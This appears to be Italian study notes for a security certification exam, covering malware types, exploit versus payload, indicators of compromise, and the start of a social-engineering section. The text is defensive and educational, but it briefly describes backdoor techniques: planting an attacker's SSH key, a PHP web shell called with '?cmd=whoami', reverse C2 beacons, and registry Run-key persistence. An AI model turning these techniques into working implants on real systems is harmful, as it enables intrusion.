silenzioso ampio Vettore drive-by o bundled software Obiettivo data harvesting identita include keylogger come modulo Keylogger Cosa cattura ogni tasto premuto software o hardware fisico Vettore bundled in spyware o RAT dispositivo USB sulla tastiera Obiettivo furto password e credenziali vanificato da 2FA Danno e Sabotaggio — Ransomware, Logic Bomb, Botnet # mindmap root((Danno e Sabotaggio)) Ransomware Cosa cifra i dati della vittima chiave solo all attaccante Vettore phishing o drive-by RaaS tramite affiliati Obiettivo estorsione denaro downtime forzato Logic Bomb Cosa codice dormiente condizionale non fa nulla prima del trigger Vettore insider con accesso al codice Obiettivo sabotaggio a trigger data ora o evento specifico Botnet Cosa rete di zombie con C2 ogni zombie e un sistema infetto Vettore worm o Trojan di reclutamento Obiettivo DDoS spam mining crypto piattaforma per altri attacchi Infografica # flowchart TD A([Suspicious behavior observed on system]) B{Self-replicating? Spreads without user action?} C{Needs host file? Attaches to executable?} D([WORM WannaCry · SQL Slammer No host needed · autonomous]) E([VIRUS CIH · Chernobyl Attaches to host file]) F{Ransom demand? Encrypts files and demands payment?} G([RANSOMWARE Ryuk · LockBit Encrypts data · extorts victim]) H{Remote control? Attacker has live interactive access?} I([RAT Blackshades Full remote control · webcam · keystrokes]) J{Hides from OS? Processes invisible via kernel hooking?} K([ROOTKIT Sony BMG · kernel-level Hooks OS calls · hides own process]) L{Triggered by event? Dormant until condition fires?} M([LOGIC BOMB Payroll removal case Sleeper code · fires on trigger]) N{Keystrokes only? Captures and exfiltrates keystrokes?} O([KEYLOGGER Defeated by 2FA Records all keystrokes]) P([SPYWARE · TROJAN · BOTNET Broad monitoring · disguised software Zombie node under C2 command]) A --\u003e B B --\u003e|YES| D B --\u003e|NO| C C --\u003e|YES| E C --\u003e|NO| F F --\u003e|YES| G F --\u003e|NO| H H --\u003e|YES| I H --\u003e|NO| J J --\u003e|YES| K J --\u003e|NO| L L --\u003e|YES| M L --\u003e|NO| N N --\u003e|YES| O N --\u003e|NO| P classDef start fill:#0d2a1a,stroke:#4aaf7e,stroke-width:2px,color:#ffffff classDef decision fill:#2a1a0a,stroke:#ff7a4a,stroke-width:2px,color:#ffffff classDef endpoint fill:#2a0a0a,stroke:#e05555,stroke-width:2px,color:#ffffff class A start class B,C,F,H,J,L,N decision class D,E,G,I,K,M,O,P endpoint Exploit vs Payload: due concetti distinti che lavorano in sequenza.\nExploit: il meccanismo che bypassa il controllo — sfrutta una vulnerabilita' per far fare al sistema qualcosa che non dovrebbe fare. E' il \u0026quot;come entri\u0026quot;: buffer overflow, path traversal, SQL injection, command injection. Tecniche diverse, stesso principio. Il pacchetto malformato di SQL Slammer che ingannava SQL Server a eseguire codice arbitrario era l'exploit.\nPayload: cosa viene eseguito una volta che l'exploit ha funzionato. E' il \u0026quot;cosa fai dopo che sei dentro\u0026quot; — come il body di una POST HTTP: il contenuto processato dopo che la richiesta e' stata accettata. Stesso exploit, payload intercambiabili. Metasploit li separa esattamente cosi': scegli l'exploit (quale vulnerabilita' sfruttare) e il payload (reverse shell, meterpreter, comando) come moduli indipendenti.\nvulnerabilita\u0026#39; → exploit → esecuzione → payload → danno Exploit: il meccanismo che sfrutta la vulnerabilità per ottenere l'esecuzione di codice. È il \u0026quot;come entri\u0026quot;. Il buffer overflow di SQL Slammer era l'exploit — quel pacchetto malformato che ingannava SQL Server a eseguire codice arbitrario. L'exploit è il meccanismo che bypassa il controllo — buffer overflow, path traversal, SQL injection, command injection. Qualsiasi tecnica che fa fare al sistema qualcosa che non dovrebbe fare\nVirus # Codice malevolo che si aggancia a un'applicazione host. Non puo' girare da solo: ha bisogno che l'applicazione host venga eseguita. Quando l'utente lancia l'host, il virus si attiva.\nCiclo di vita:\nInfezione: il virus si attacca a un'app host Replicazione: cerca altri host da infettare (altri file, altre app) Attivazione: ad un certo punto esegue il payload Payload tipici: cancellazione file, riavvii casuali, aggiunta a una botnet, apertura di backdoor per accesso remoto.\nIl virus di solito non causa danni subito: aspetta di replicarsi prima. L'utente esegue inconsapevolmente l'host infetto, o in alcuni casi il SO lo esegue automaticamente (esempio classico: USB drive infetta con autorun abilitato).\nHost vs Endpoint: nel contesto del virus, \u0026quot;host\u0026quot; e' l'applicazione o il file a cui il virus si aggancia (un .exe, un documento Word), non il dispositivo. L'endpoint e' il dispositivo fisico (laptop, server) su cui tutto gira. Il virus si attacca all'host (file) → il file viene eseguito sull'endpoint (macchina) → l'endpoint viene compromesso. In EDR si parla di endpoint perche' e' li' che vive l'agent di monitoraggio; nel ciclo di vita del virus, host = il file portante.\nCaso reale: CIH / Chernobyl Virus (1998). Si attaccava ai file .exe. Il payload si attivava il 26 aprile (anniversario di Chernobyl): sovrascriveva il BIOS e cancellava il contenuto del disco fisso. Il dispositivo diventava inutilizzabile. 60 milioni di computer infetti in tutto il mondo. L'utente doveva eseguire un .exe infetto per innescare la catena, e il virus si replicava ad altri .exe sul sistema.\nDistinzione chiave per l'esame: virus = ha bisogno di un host. Worm = autonomo, si propaga da solo senza host.\nVettore file — si aggancia a un eseguibile host (.exe, documento con macro) Causa esecuzione inconsapevole del file infetto da parte dell'utente o autorun su dispositivo rimovibile Effetto voluto replicazione su altri file del sistema, poi esecuzione del payload (danno, botnet, backdoor) Difesa antivirus con signature e heuristic, disabilitare autorun, policy di esecuzione file Indicatore file eseguibili che crescono di dimensione, processi anomali al lancio di applicazioni note, scansione AV con file multipli segnalati CIA Triad Integrity (Integrita') — i file vengono modificati dal virus che si attacca; Availability (Disponibilita') se il payload distrugge dati o rende il sistema inutilizzabile Scope singolo sistema — si propaga localmente ai file, poi ad altri sistemi tramite file condivisi o dispositivi rimovibili Ransomware # Tipo di malware che prende il controllo del computer e dei dati della vittima, escludendola dal proprio sistema (locking out users). Il meccanismo principale e' la cifratura: l'attaccante cifra tutti i dati con una chiave nota solo a lui. La vittima non puo' accedere ai propri file finche' non paga il riscatto — o finche' non li ricrea da zero.\nCome funziona:\nIl malware arriva via drive-by download o allegato email Cifra tutti i dati sul sistema con una chiave asimmetrica controllata dall'attaccante Mostra una richiesta di riscatto con istruzioni di pagamento (spesso in crypto) Se il riscatto viene pagato, l'attaccante promette di consegnare la chiave di decifratura Se non viene pagato, minaccia di distruggere la chiave — perdita permanente dei dati Evoluzione del target: gli attaccanti hanno spostato il focus da singoli individui (riscatto ~300$) a organizzazioni intere (riscatti da milioni di dollari). Ospedali, municipalita', infrastrutture critiche sono diventati target privilegiati perche' non possono permettersi downtime e sono piu' propensi a pagare.\nIl problema del pagamento: l'FBI sconsiglia esplicitamente di pagare. Ragioni concrete:\nAlcune organizzazioni hanno pagato senza ricevere una chiave utilizzabile Alcuni attaccanti hanno chiesto ulteriori pagamenti dopo aver ricevuto il primo riscatto Pagare finanzia il prossimo attacco e valida il modello di business criminale Alcune organizzazioni pero' calcolano che pagare costi meno del downtime necessario a ricostruire i dati RaaS — Ransomware as a Service: il modello dominante nell'organized crime. Il gruppo principale sviluppa e gestisce il ransomware, poi lo \u0026quot;affitta\u0026quot; ad affiliati che si occupano della distribuzione. Il gruppo prende una percentuale del riscatto (tipicamente 20-30%). Esempio documentato: Wizard Spider con Ryuk, poi REvil, LockBit.\nExam tip: ransomware = malware che prende il controllo + richiede pagamento. La parola chiave e' extort (estorcere) — se la domanda parla di estorsione digitale, la risposta e' ransomware. Collegato al threat actor organized crime e alla motivazione financial gain.\nVettore file/rete — drive-by download, allegato phishing, exploit automatizzato (worm + ransomware come WannaCry) Causa assenza di backup offline, mancanza di patch, clic su allegato malevolo Effetto voluto cifratura di tutti i dati accessibili, estorsione del pagamento del riscatto Difesa backup offline e offsite regolari, patch management, anti-malware, segmentazione rete, email filtering Indicatore CPU al massimo senza motivo, file che diventano inaccessibili o con estensione cambiata, nota di riscatto sullo schermo, connessioni verso C2 in uscita CIA Triad Availability (Disponibilita') — i dati vengono resi inaccessibili; Confidentiality (Riservatezza) nelle varianti double extortion che esfiltrano prima di cifrare Scope organizzazione — si propaga a tutti i sistemi raggiungibili dalla macchina infetta, colpisce backup di rete, file server condivisi Trojan # Si presenta come qualcosa di utile ma contiene un componente malevolo. Il nome viene dalla mitologia greca: i Greci non riuscirono ad espugnare Troia per anni. Odisseo costrui' un enorme cavallo di legno con guerrieri nascosti dentro, convinsero i Troiani che era un dono di pace, e di notte i guerrieri aprirono le porte. Stesso principio: l'utente installa il Trojan pensando sia qualcosa di legittimo.\nCanali di distribuzione:\nDrive-by download: l'attaccante compromette un sito web, inserisce codice malevolo. Quando l'utente visita il sito, il Trojan si scarica e installa automaticamente Pirated software / giochi: software craccato distribuito con Trojan integrato Scareware: finto antivirus gratuito che mostra alert inventati (\u0026quot;47 virus trovati!\u0026quot;), spaventa l'utente, chiede soldi per la \u0026quot;versione completa\u0026quot;. I problemi non esistono, li riporta anche su un sistema appena installato e pulito Browser extensions: estensioni apparentemente utili che esfiltra dati. Nel 2020 Google ha rimosso 500+ estensioni Chrome create da un singolo threat actor Payload tipico — Backdoor: Il Trojan installa una backdoor che permette all'attaccante di rientrare quando vuole. Forme concrete:\nAggiunge la chiave SSH dell'attaccante a ~/.ssh/authorized_keys → accesso SSH silenzioso senza password Droppa una web shell (file PHP) sul server → ?cmd=whoami esegue comandi via HTTP Avvia un C2 reverse beacon: il malware fa una connessione USCENTE verso il server dell'attaccante e aspetta comandi. Il firewall non la blocca perche' sembra traffico normale in uscita. L'attaccante non deve aprire porte — e' il malware che telefona a casa Trojan vs Virus: Entrambi richiedono che l'utente esegua qualcosa. La differenza: il virus si auto-replica attaccandosi ad altri file e cerca di diffondersi. Il Trojan non si replica — si installa, apre la backdoor, e basta. Piu' silenzioso, meno rumoroso sulla rete.\nVirus Trojan Necessita esecuzione utente Si' Si' Si replica Si' (attacca altri file) No Propagazione Autonoma via file infetti Non si propaga Obiettivo tipico Danno, replica Accesso persistente, furto dati Vettore file — download da sito compromesso, software pirata, allegato email, browser extension malevola Causa utente ingannato a installare qualcosa che sembra legittimo (software, crack, finto antivirus) Effetto voluto installazione di backdoor, apertura accesso remoto persistente, furto di credenziali Difesa download solo da fonti ufficiali, verifica firma digitale del software, endpoint protection, policy di installazione software Indicatore connessioni in uscita verso IP sconosciuti, processi sconosciuti in esecuzione dopo installazione di nuovo software, chiavi SSH non autorizzate in authorized_keys CIA Triad Confidentiality (Riservatezza) — furto di credenziali e dati; Integrity (Integrita') — backdoor modifica il sistema; Availability (Disponibilita') se il payload include distruzione dati Scope singolo sistema — il Trojan non si propaga autonomamente, ma la backdoor permette all'attaccante di espandersi manualmente ad altri sistemi Worm # Malware self-replicating che si propaga nella rete senza host application e senza interazione utente. Vive in memoria, scansiona la rete, trova sistemi vulnerabili, si copia autonomamente. Non ha bisogno che qualcuno clicchi o apra qualcosa.\nIl problema principale non e' solo il payload: e' il consumo di banda. Ogni sistema infetto scansiona e tenta di infettare altri sistemi contemporaneamente. Centinaia di copie in pochi minuti. La rete rallenta fino al blocco.\nCaso reale: SQL Slammer (2003). Un worm di soli 376 byte che sfruttava una vulnerabilita' in Microsoft SQL Server. Raddoppiava il numero di sistemi infetti ogni 8,5 secondi. In 10 minuti aveva infettato 75.000 server. Ha mandato offline gli ATM di Bank of America, il sistema di prenotazione di Continental Airlines e i servizi di emergenza 911 a Seattle. Non richiedeva nessuna azione utente: bastava avere la porta UDP 1434 esposta.\nCaso reale 2: WannaCry (2017). Worm + ransomware. Si propagava via EternalBlue (MS17-010, vulnerabilita' SMBv1). Nessun click, nessun allegato: scansionava la rete, trovava sistemi Windows non patchati, si installava automaticamente, cifrava i file e chiedeva riscatto. 200.000 sistemi in 150 paesi in 4 giorni.\nDistinzione per l'esame:\nVirus Worm Host application Necessario Non necessario User interaction Spesso necessaria Non necessaria Propagazione Tramite file infetti Autonoma via rete Problema principale Payload Consumo di banda + payload Vettore rete — sfrutta vulnerabilita' nel sistema operativo o nei servizi esposti (SMB, SQL, RDP) senza interazione utente Causa sistemi non patchati con porte di servizio esposte sulla rete Effetto voluto propagazione massiva e rapida, consegna di payload (ransomware, DDoS, botnet) Difesa patch management tempestivo, segmentazione di rete, firewall che blocca porte di servizio non necessarie Indicatore traffico di rete anomalo e sostenuto, porta scansionata in massa verso altri host, degrado delle performance di rete, propagazione rapida tra sistemi CIA Triad Availability (Disponibilita') — consumo di banda che blocca la rete; Integrity (Integrita') e Confidentiality (Riservatezza) dipendono dal payload consegnato Scope rete — ogni sistema raggiungibile con la vulnerabilita' esposta viene infettato automaticamente Rootkit # Programma (o gruppo di programmi) che ottiene accesso amministrativo al sistema con due obiettivi: dare all'attaccante privilegi elevati e/o nascondere il fatto che il sistema e' compromesso. L'utente sospetta qualcosa, ma antivirus e controlli riportano tutto normale — perche' il rootkit nasconde i propri processi in esecuzione.\nLivello di accesso: root-level o kernel-level — lo stesso livello del sistema operativo. Non e' un programma che gira sopra Windows: e' dentro Windows, con gli stessi privilegi.\nHooking: tecnica con cui il rootkit intercetta le chiamate al sistema operativo. Quando l'antivirus chiede all'OS \u0026quot;mostrami i processi in esecuzione\u0026quot;, il rootkit intercetta quella chiamata e restituisce una lista ripulita — il proprio processo non appare. L'antivirus non vede nulla di strano perche' non riesce nemmeno a fare la domanda giusta.\nRegistry: database gerarchico di Windows che contiene tutte le configurazioni del sistema — OS, hardware, software installato, avvio automatico. Come /etc/ su Linux ma centralizzato e strutturato ad albero. I rootkit lo modificano per:\nPersistenza: aggiungono se stessi a HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run → partono ad ogni boot Nascondersi: alterano come l'OS riporta processi e file Disabilitare difese: modificano impostazioni di Windows Defender, UAC Payload tipico dopo installazione: backdoor per accesso remoto, keylogger, esfiltrazione file. L'attaccante ha accesso completo al sistema con privilegi di amministratore.\nCome si rileva (difficile):\nEsaminare il contenuto della RAM: i processi hookati lasciano tracce in memoria anche se nascosti all'OS Boot in safe mode o scan pre-boot: il rootkit non e' ancora caricato, i processi reali sono visibili Un \u0026quot;tutto ok\u0026quot; dall'antivirus NON e' sufficiente su un sistema sospettato di rootkit Exam tip — discriminante esame: i tre segnali che identificano rootkit in una domanda:\nProcessi nascosti che non appaiono nel task manager o nei tool di sistema — questo e' il tratto definitorio del rootkit Connessioni verso sistemi esterni su porte non standard o inusuali L'antivirus non rileva nulla nonostante comportamento anomalo del sistema Confronto con i malware simili:\nTrojan: si spaccia per software legittimo per entrare — non nasconde processi Backdoor: apre un canale di accesso remoto persistente — non nasconde processi Rootkit: fa entrambe le cose di backdoor, PIU' nasconde se stesso e tutto il resto Regola pratica: se la domanda dice \u0026quot;hidden processes\u0026quot; o \u0026quot;processes not visible to the OS\u0026quot; → rootkit. Se dice solo \u0026quot;connessioni esterne non autorizzate\u0026quot; → backdoor. Se dice \u0026quot;software che sembrava legittimo\u0026quot; → trojan.\nCaso reale: Sony BMG (2005). Sony installo' un rootkit sui CD musicali per impedire la copia. Quando il CD veniva riprodotto su Windows, il rootkit si installava silenziosamente, nascondeva i processi con hooking, e disabilitava la possibilita' di copiare il CD. Il problema: nascondeva anche qualsiasi processo che iniziava con $sys$ — gli attaccanti lo scoprirono e iniziarono a usare quel prefisso per nascondere i propri malware. Sony distribuiva involontariamente protezione per i criminali. Richiamati 52 titoli musicali, class action, danno reputazionale enorme.\nVettore endpoint — exploit che eleva i privilegi, o installer compromesso che installa direttamente a livello kernel Causa exploit di una vulnerabilita' del kernel o privileged account compromesso; spesso consegnato da un Trojan o dal vettore supply chain Effetto voluto persistenza invisibile, controllo kernel-level, nascondere tutti gli altri malware presenti sul sistema Difesa File Integrity Monitor (FIM), boot pre-scan, Secure Boot, EDR con analisi comportamentale, scan da media esterno quando si sospetta infezione Indicatore processi non visibili nel task manager ma rilevabili in RAM, AV che riporta \u0026quot;tutto ok\u0026quot; su sistema con comportamento anomalo, hash dei file di sistema che non corrispondono alla baseline FIM CIA Triad Confidentiality (Riservatezza) — keylogger e esfiltrazione dati; Integrity (Integrita') — modifica file di sistema e registry; Availability (Disponibilita') nei casi estremi di bootkit Scope singolo sistema — il rootkit opera a livello kernel sul sistema infetto; l'attaccante usa il sistema come pivot per espandersi alla rete Bloatware e Browser Hijacker # Bloatware: programmi che l'utente non ha voluto esplicitamente, anche se tecnicamente ha \u0026quot;acconsentito\u0026quot;. Alcuni sono legittimi ma fastidiosi (toolbar, trial software, adware), altri sono direttamente malevoli (Trojan, spyware). Chiamato anche junkware, crapware o software indesiderato.\nCome arriva: quasi sempre tramite installer di software popolare scaricato da un sito non ufficiale. L'esempio classico: 7-Zip scaricato da un sito terzo invece di 7-zip.org. L'installer include \u0026quot;offerte\u0026quot; aggiuntive con caselle pre-spuntate. Il consenso e' tecnicamente nel Terms of Use — ma sepolto, scritto in legalese e presentato in piu' pagine di fila. L'utente clicca Agree per arrivare all'installazione del software che vuole davvero. Alcune versioni presentano multiple schermate di termini: o le leggi tutte, o cancelli tutto, incluso il programma che volevi.\nBrowser hijacker: sottoinsieme del bloatware che prende il controllo del browser. Senza consenso chiaro modifica:\nHomepage del browser Motore di ricerca predefinito Aggiunge toolbar non richieste Apre tab aggiuntivi all'avvio Inietta pubblicita' nelle pagine visitate Raccoglie anche i dati comportamentali dell'utente (termini di ricerca, siti visitati) per mostrare pubblicita' mirata. Il revenue va all'autore del hijacker. Non sempre classificato come malware perche' il \u0026quot;consenso\u0026quot; era tecnicamente nel ToU. Termini di utilizzo, ma magari sotto a milioni di scritte che nessuno legge.\nBloatware vs spyware: la distinzione e' sfumata. Il bloatware puro e' solo indesiderato. Quando raccoglie dati e li invia a terzi senza che l'utente lo sappia, diventa spyware. Il browser hijacker e' entrambe le cose: modifica il browser (bloatware) e raccoglie comportamenti (spyware).\nVettore file — bundled con installer di software da fonti non ufficiali, caselle pre-spuntate nel processo di installazione Causa consenso ottenuto in modo ingannevole tramite ToU sepolti o installazione non attenta Effetto voluto raccolta dati comportamentali per revenue pubblicitario, modifica del browser per reindirizzare traffico verso siti monetizzati Difesa download solo da fonti ufficiali, leggere le schermate di installazione, anti-malware con rilevamento PUA (Potentially Unwanted Application) Indicatore homepage o motore di ricerca cambiati senza azione esplicita, toolbar non installate dall'utente, browser lento, redirect di ricerca, popup pubblicitari CIA Triad Confidentiality (Riservatezza) — raccolta e invio di dati comportamentali a terzi senza consenso reale Scope singolo sistema — agisce sul browser della macchina infetta; i dati raccolti vengono trasmessi a server dell'autore Spyware # Installato sul sistema senza consenso o consapevolezza dell'utente. Monitora l'attivita' e invia le informazioni raccolte a una terza parte — loss of confidentiality.\nForme leggere: cambia la homepage del browser, installa estensioni non richieste, reindirizza le ricerche. Fastidiose ma relativamente innocue, spesso rallentano il sistema.\nPrivacy-invasive software (forma grave): raccoglie dati per impersonare l'utente, svuotare conti bancari, rubare identita'. Tecnica principale: data harvesting. Spesso include un keylogger integrato — lo spyware legge periodicamente il file del keylogger e lo manda all'attaccante. In alcuni casi permette controllo remoto del sistema.\nCome arriva: quasi sempre bundled con altro software come un Trojan (l'utente installa un'app e si porta dietro degli \u0026quot;extra\u0026quot; non dichiarati), oppure via drive-by download.\nDrive-by download: metodo di consegna in cui il malware si installa automaticamente mentre l'utente visita un sito web, senza che clicchi nulla o scarichi consapevolmente un file. Il sito compromesso contiene codice che sfrutta una vulnerabilita' nel browser o in un plugin — la pagina si carica, il codice parte, il malware arriva. L'utente continua a navigare senza accorgersi di nulla.\nIl drive-by non e' un tipo di malware: e' un canale di consegna, come la email o la USB. Quello che arriva puo' essere spyware, Trojan, ransomware o qualsiasi altro malware. La differenza dal virus classico: il virus richiede che tu esegua un file infetto; il drive-by richiede solo che tu carichi una pagina web.\nCaso reale: Operation Aurora (2010). Attaccanti cinesi (APT17) hanno compromesso siti legittimi frequentati dai dipendenti di Google, Adobe, Intel e altre 30+ aziende. I dipendenti visitavano normalmente quei siti durante il lavoro. Il codice nella pagina sfruttava una vulnerabilita' di Internet Explorer 6 — zero click, zero download consapevole. Il risultato: accesso ai sistemi interni di Google e furto di codice sorgente.\nSpyware vs Keylogger:\nKeylogger: cattura i keystrokes e li salva in un file Spyware: strumento di monitoraggio piu' ampio che INCLUDE il keylogger come componente, ma fa anche molto altro (browser hijacking, data harvesting, identity theft). Lo spyware legge il file del keylogger e lo invia. Vettore file/browser — bundled con software da fonti non ufficiali, drive-by download che sfrutta vulnerabilita' del browser Causa installazione inconsapevole tramite Trojan dropper o exploit di vulnerabilita' browser/plugin Effetto voluto monitoraggio silenzioso dell'attivita' utente, raccolta di credenziali e dati bancari, furto di identita' Difesa anti-malware, aggiornamento browser e plugin, download solo da fonti ufficiali, Content Security Policy sui siti web Indicatore sistema lento senza carico evidente, processi sconosciuti in background, traffico verso server sconosciuti, credenziali compromesse senza altri indicatori CIA Triad Confidentiality (Riservatezza) — dati dell'utente inviati a terzi; lo spyware non modifica dati ne' interrompe servizi, mira solo a raccogliere Scope singolo sistema — monitora le attivita' locali della macchina infetta e invia i dati raccolti verso server esterni Keylogger # Registra i tasti premuti dall'utente a sua insaputa. I keystrokes vengono salvati in un file e inviati all'attaccante subito oppure conservati finche' l'attaccante non li recupera.\nSoftware o hardware: il keylogger non e' solo software. Esiste anche in forma fisica — un dispositivo USB inserito tra la tastiera e il computer. Registra tutto in memoria interna. Non lascia tracce sul sistema operativo: nessun processo, nessun log, invisibile a qualsiasi antivirus.\nCome viene thwarted: il 2FA (es. SMS sul telefono) vanifica il keylogger per le password. Anche se l'attaccante cattura la password, non ha accesso al codice SMS inviato al telefono. Il keylogger cattura qualcosa che da solo non basta piu' per entrare.\nRelazione con altri malware: il keylogger e' quasi sempre un componente, non malware autonomo. Si trova integrato in RAT, Trojan, spyware. La categoria descrive la funzione (cosa ruba), non il meccanismo di consegna.\nVettore endpoint — installato come componente di Trojan, RAT o spyware; versione hardware inserita fisicamente tra tastiera e computer Causa sistema compromesso da malware che include keylogger come modulo, oppure accesso fisico non sorvegliato alla workstation Effetto voluto cattura di password, PIN, dati bancari, conversazioni private, credenziali di accesso Difesa 2FA (Multi-Factor Authentication) rende le password catturate inutili da sole, password manager con autofill (non si digita), endpoint protection Indicatore credenziali compromesse senza breach noto, accessi da IP insoliti su account utente, dispositivo USB sconosciuto collegato alla tastiera CIA Triad Confidentiality (Riservatezza) — ogni dato digitato viene catturato e trasmesso all'attaccante Scope singolo sistema — cattura i keystrokes del dispositivo su cui e' installato o a cui e' fisicamente connesso RAT (Remote Access Trojan) # Il RAT è un sottoinsieme del Trojan. Ogni RAT è un Trojan, ma non ogni Trojan è un RAT.\nIl Trojan è la categoria più ampia — definita dalla deception: si maschera da qualcosa di utile per farsi installare. Il payload può essere qualsiasi cosa: cancellare file, minare crypto, mostrare scareware, installare un keylogger.\nIl RAT è un Trojan specifico il cui payload è il controllo remoto interattivo. Non solo ruba dati in automatico — dà all'attaccante una sessione attiva sulla macchina, come se ci fosse seduto davanti.\nTrojan (categoria) ├── Trojan che cancella file ├── Trojan che installa keylogger ├── Scareware ├── Trojan che mina crypto └── RAT ← Trojan il cui payload = controllo remoto completo La differenza pratica: un Trojan generico fa qualcosa di predefinito e basta. Un RAT è interattivo — l'attaccante decide cosa fare in tempo reale, usa la macchina come fosse la propria, si muove nella rete con le credenziali della vittima.\nTrojan che dà all'attaccante controllo remoto completo del sistema infetto. Non e' solo una backdoor (porta lasciata aperta) — e' come se l'attaccante fosse seduto fisicamente davanti alla tastiera della vittima.\nCosa puo' fare l'attaccante:\nVedere lo schermo in tempo reale Registrare tutti i tasti premuti (password, carte di credito, messaggi) Aprire, copiare, cancellare file Attivare webcam e microfono senza che la spia LED si accenda Usare le credenziali di rete della vittima per accedere ad altri server interni Installare altro malware su quella macchina o propagarsi ad altri sistemi della stessa rete Mandare tutto all'attaccante in automatico a orari prestabiliti Raccolta automatica: keylogger integrato, screenshot periodici, sessioni email e chat, browser history. Il RAT invia il pacchetto al server dell'attaccante senza che l'utente noti nulla.\nCome arriva: drive-by download, allegato email, crack di software pirata. Classico vettore Trojan — l'utente crede di installare qualcosa di utile.\nConnessione: come il C2, il RAT fa una connessione uscente verso il server dell'attaccante. Il firewall non la blocca perche' sembra traffico normale in uscita.\nBackdoor vs RAT:\nBackdoor = porta lasciata aperta, solo l'ingresso RAT = l'attaccante si siede alla scrivania della vittima, vede e controlla tutto Caso reale: Blackshades RAT (2013), venduto a 40$ su forum underground. Usato per spiare centinaia di migliaia di vittime. L'attaccante Jared Abrahams aveva infettato il computer di Miss Teen USA Cassidy Wolf, catturato foto dalla webcam e la stava ricattando. Il tool era cosi' semplice da usare che lo utilizzavano script kiddie. L'FBI arresto' 97 persone in 19 paesi in una singola operazione coordinata.\nVettore file — consegnato come Trojan tramite software pirata, drive-by download o allegato email Causa utente ingannato a installare software che sembra legittimo, che include il RAT come payload nascosto Effetto voluto controllo remoto completo e interattivo del sistema: schermo, webcam, microfono, file, credenziali di rete Difesa endpoint protection, monitoraggio connessioni in uscita anomale, network filtering, EDR con rilevamento comportamentale Indicatore connessioni in uscita persistenti verso IP sconosciuti, attivita' webcam non richiesta, screenshot periodici in memoria, processi sconosciuti con traffico di rete CIA Triad Confidentiality (Riservatezza) — accesso completo a dati e credenziali; Integrity (Integrita') — l'attaccante puo' modificare o cancellare file; Availability (Disponibilita') se il payload include distruzione Scope singolo sistema come punto di ingresso, poi rete — l'attaccante usa le credenziali di rete della vittima per lateral movement verso altri sistemi interni Logic Bomb # Stringa di codice incorporata in un'applicazione o script che si esegue in risposta a un evento specifico: una data, un orario, un'azione utente, o una condizione di sistema.\nLa differenza chiave con gli altri malware: la logic bomb non fa nulla finche' la condizione non si verifica. Puo' stare dormiente per mesi o anni. Questo la rende difficile da rilevare — sembra codice normale.\nLa storia del libro: un ingegnere viene licenziato. Nei mesi precedenti ha incorporato una logic bomb nel programma paghe aziendale. La bomba controlla ad ogni esecuzione se il suo nome e' nella lista dipendenti. Quando c'e' — tutto funziona. Quando non c'e' — kaboom. L'azienda lo richiama, i problemi spariscono. Lo licenziano di nuovo, i problemi tornano. Ci vogliono mesi per capire cosa sta succedendo.\nEvento trigger tipici:\nData/ora specifica (es. \u0026quot;il 1 gennaio esegui X\u0026quot;) Nome utente non piu' presente nel sistema File specifico che viene aperto o cancellato Numero di login falliti che supera una soglia Perche' e' insidioso: il codice malevolo e' gia' dentro il sistema, scritto da qualcuno con accesso legittimo. Non arriva dall'esterno come un worm. Il vettore e' quasi sempre un insider malicioso con accesso al codice sorgente o agli script di sistema.\nExam tip: logic bomb = eseguita in risposta a un evento. Se la domanda descrive malware che \u0026quot;aspetta una condizione\u0026quot; o \u0026quot;si attiva in una data specifica\u0026quot; → logic bomb.\nVettore insider — codice malevolo inserito direttamente nel codebase o negli script di sistema da qualcuno con accesso legittimo Causa insider malicioso con accesso al codice sorgente, agli script di automazione o ai sistemi di deployment Effetto voluto sabotaggio ritardato e condizionale — distruzione dati, disabilitazione sistemi, cancellazione account al verificarsi del trigger Difesa code review obbligatoria, separation of duties, version control con audit trail, offboarding immediato con revoca accessi Indicatore comportamento anomalo del sistema in corrispondenza di eventi specifici (data, licenziamento, etc.), codice sospetto in script non documentato, funzioni condizionali non giustificate in produzione CIA Triad Integrity (Integrita') e Availability (Disponibilita') — il payload tipico e' sabotaggio: distruzione di dati o blocco di sistemi Scope organizzazione — agisce sui sistemi a cui l'insider aveva accesso; se i sistemi sono critici (paghe, database clienti) l'impatto e' sull'intera organizzazione Indicatori di Attacco Malware # mindmap root((INDICATORI ATTACCO)) Traffico di Rete Traffico Anomalo fuori dalla baseline normale worm e botnet generano rumore Connessioni IP Malevoli zombie botnet verso C2 blacklist IP in log firewall Traffico Cifrato Anomalo volume insolito in uscita DLP non legge contenuto Dati Data Exfiltration trasferimento non autorizzato DLP monitora dati uscenti Spam in Uscita PC normale non spamma botnet usa credenziali reali tasso apertura alto bypass filtri Exam Trap spam in uscita non e spam ricevuto segnale che il sistema e zombie traffico cifrato ok NON e ok volume anomalo e gia indicatore I sintomi generici di infezione sono noti, ma ci sono indicatori tecnici piu' specifici che aiutano a identificare il tipo di attacco in corso.\nTraffico anomalo: il malware aggiunge traffico extra alla rete. Identificabile confrontandolo con una baseline di traffico normale. Worm e botnet sono i generatori principali di traffico anomalo — ogni sistema infetto propaga o riceve comandi.\nData exfiltration: trasferimento non autorizzato di dati fuori dalla rete. Il malware scarica database di credenziali o file verso server controllati dall'attaccante. Rilevabile con DLP (Data Loss Prevention) che monitora i dati in uscita.\nTraffico cifrato anomalo: alcuni malware cifrano i dati prima dell'esfiltrazione per bypassare il DLP — se il DLP non puo' leggere il contenuto, non puo' bloccare in base a quello. Ma un volume insolito di traffico cifrato uscente e' gia' un indicatore, anche senza sapere cosa contiene.\nConnessioni a IP noti malevoli: gli zombie della botnet si connettono ai server C2. I firewall possono blacklistare gli IP dei C2 noti. Ogni tentativo di connessione a un IP in blacklist e' un forte indicatore di compromissione. Il team di sicurezza deve monitorare i log del firewall per questo traffico.\nSpam in uscita: i desktop normali non mandano grandi quantita' di email. Quando lo fanno, spesso e' perche' sono stati aggiunti a una botnet e inviano email di phishing come zombie. La mail parte dall'indirizzo reale della vittima — il malware usa le credenziali email trovate sul sistema (client di posta, sessioni browser salvate). Il vantaggio per l'attaccante: lo spam arriva da mittenti reali e riconoscibili dai destinatari, supera i filtri e ha tasso di apertura piu' alto. La vittima non sa di stare spammando nessuno.\nSocial Engineering e Human Vectors # mindmap root((SOCIAL ENGINEERING)) Manipolazione Psicologica Flattery e Conning abbassa le difese Frank Abagnale Jr Authority Assumption impersona IT manager funzionario Milgram effect Elicitation estrae info senza chiedere active listening reflective questioning Fisico Tailgating segue senza badge sfrutta cortesia Shoulder Surfing guarda lo schermo contromisura screen filter Impersonation tecnico autorizzato installa rogue AP Baiting USB infetta lasciata apposta sfrutta curiosita umana Digitale Phishing email link allegato spear 